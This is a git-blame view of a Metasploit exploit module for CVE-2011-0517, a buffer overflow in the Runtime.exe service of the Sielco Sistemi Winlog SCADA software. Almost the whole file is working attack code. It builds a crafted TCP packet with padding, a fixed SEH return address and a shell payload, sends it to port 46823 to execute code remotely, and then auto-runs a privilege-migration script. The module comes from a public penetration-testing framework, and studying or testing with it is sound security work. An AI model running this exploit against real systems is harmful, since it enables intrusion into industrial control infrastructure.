Files
metasploit-gs/modules/exploits/windows/scada/winlog_runtime.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

70 lines
1.9 KiB
Ruby
Raw Normal View History

2011-06-21 21:48:30 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-06-21 21:48:30 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-06-21 21:48:30 +00:00
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Sielco
Sistem Winlog <= 2.07.00. When sending a specially formatted
packet to the Runtime.exe service, an attacker may be able to
execute arbitrary code.
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-0517' ],
[ 'OSVDB', '70418'],
2011-06-21 21:48:30 +00:00
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-017-02']
2011-06-21 21:48:30 +00:00
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
2011-06-21 21:48:30 +00:00
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-01-13'))
2011-06-21 21:48:30 +00:00
register_options([Opt::RPORT(46823)])
2011-06-21 21:48:30 +00:00
end
def exploit
connect
data = [0x02].pack('C') # opcode
data << [0x0101].pack('n')
data << rand_text_alpha_upper(588)
data << generate_seh_payload(target.ret)
print_status("Trying target #{target.name}...")
sock.put(data)
handler
disconnect
end
end